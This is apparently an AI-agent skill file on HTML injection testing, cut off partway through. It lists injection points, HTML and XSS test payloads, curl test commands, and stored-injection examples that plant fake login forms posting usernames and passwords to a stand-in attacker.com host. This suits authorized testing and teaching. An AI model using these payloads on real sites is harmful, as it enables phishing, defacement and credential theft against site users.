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name: html-injection-testing description: "Identify and exploit HTML injection vulnerabilities that allow attackers to inject malicious HTML content into web applications. This vulnerability enables attackers to modify page appearance, create phishing pages, and steal user credentials through injected forms." risk: offensive source: community author: zebbern date_added: "2026-02-27"

AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.

HTML Injection Testing

Purpose

Identify and exploit HTML injection vulnerabilities that allow attackers to inject malicious HTML content into web applications. This vulnerability enables attackers to modify page appearance, create phishing pages, and steal user credentials through injected forms.

Prerequisites

Required Tools

• Web browser with developer tools
• Burp Suite or OWASP ZAP
• Tamper Data or similar proxy
• cURL for testing payloads

Required Knowledge

• HTML fundamentals
• HTTP request/response structure
• Web application input handling
• Difference between HTML injection and XSS

Outputs and Deliverables

1. Vulnerability Report - Identified injection points
2. Exploitation Proof - Demonstrated content manipulation
3. Impact Assessment - Potential phishing and defacement risks
4. Remediation Guidance - Input validation recommendations

Core Workflow

Phase 1: Understanding HTML Injection

HTML injection occurs when user input is reflected in web pages without proper sanitization:

<!-- Vulnerable code example -->
<div>
    Welcome, <?php echo $_GET['name']; ?>
</div>

<!-- Attack input -->
?name=<h1>Injected Content</h1>

<!-- Rendered output -->
<div>
    Welcome, <h1>Injected Content</h1>
</div>

Key differences from XSS:

• HTML injection: Only HTML tags are rendered
• XSS: JavaScript code is executed
• HTML injection is often stepping stone to XSS

Attack goals:

• Modify website appearance (defacement)
• Create fake login forms (phishing)
• Inject malicious links
• Display misleading content

Phase 2: Identifying Injection Points

Map application for potential injection surfaces:

1. Search bars and search results
2. Comment sections
3. User profile fields
4. Contact forms and feedback
5. Registration forms
6. URL parameters reflected on page
7. Error messages
8. Page titles and headers
9. Hidden form fields
10. Cookie values reflected on page

Common vulnerable parameters:

?name=
?user=
?search=
?query=
?message=
?title=
?content=
?redirect=
?url=
?page=

Phase 3: Basic HTML Injection Testing

Test with simple HTML tags:

<!-- Basic text formatting -->
<h1>Test Injection</h1>
<b>Bold Text</b>
<i>Italic Text</i>
<u>Underlined Text</u>
<font color="red">Red Text</font>

<!-- Structural elements -->
<div style="background:red;color:white;padding:10px">Injected DIV</div>
<p>Injected paragraph</p>
<br><br><br>Line breaks

<!-- Links -->
<a href="http://attacker.com">Click Here</a>
<a href="http://attacker.com">Legitimate Link</a>

<!-- Images -->
<img src="http://attacker.com/image.png">
<img src="x" onerror="alert(1)">  <!-- XSS attempt -->

Testing workflow:

# Test basic injection
curl "http://target.com/search?q=<h1>Test</h1>"

# Check if HTML renders in response
curl -s "http://target.com/search?q=<b>Bold</b>" | grep -i "bold"

# Test in URL-encoded form
curl "http://target.com/search?q=%3Ch1%3ETest%3C%2Fh1%3E"

Phase 4: Types of HTML Injection

Stored HTML Injection

Payload persists in database:

<!-- Profile bio injection -->
Name: John Doe
Bio: <div style="position:absolute;top:0;left:0;width:100%;height:100%;background:white;">
     <h1>Site Under Maintenance</h1>
     <p>Please login at <a href="http://attacker.com/login">portal.company.com</a></p>
     </div>

<!-- Comment injection -->
Great article!
<form action="http://attacker.com/steal" method="POST">
    <input name="username" placeholder="Session expired. Enter username:">
    <input name="password" type="password" placeholder="Password:">
    <input type="submit" value="Login">
</form>

Reflected GET Injection

Payload in URL parameters:

<!-- URL injection -->
http://target.com/welcome?name=<h1>Welcome%20Admin</h1><form%20action="http://attacker.com/steal">

<!-- Search result injection -->
http://target.com/search?q=<marquee>Your%20account%20has%20been%20compromised</marquee>

Reflected POST Injection

Payload in POST data:

# POST injection test
curl -X POST -d "comment=<div style='color:red'>Malicious Content</div>" \
     http://target.com/submit

# Form field injection
curl -X POST -d "name=<script>alert(1)</script>&email=test@test.com" \
     http://target.com/register

URL-Based Injection

Inject into displayed URLs:

<!-- If URL is displayed on page -->
http://target.com/page/<h1>Injected</h1>

<!-- Path-based injection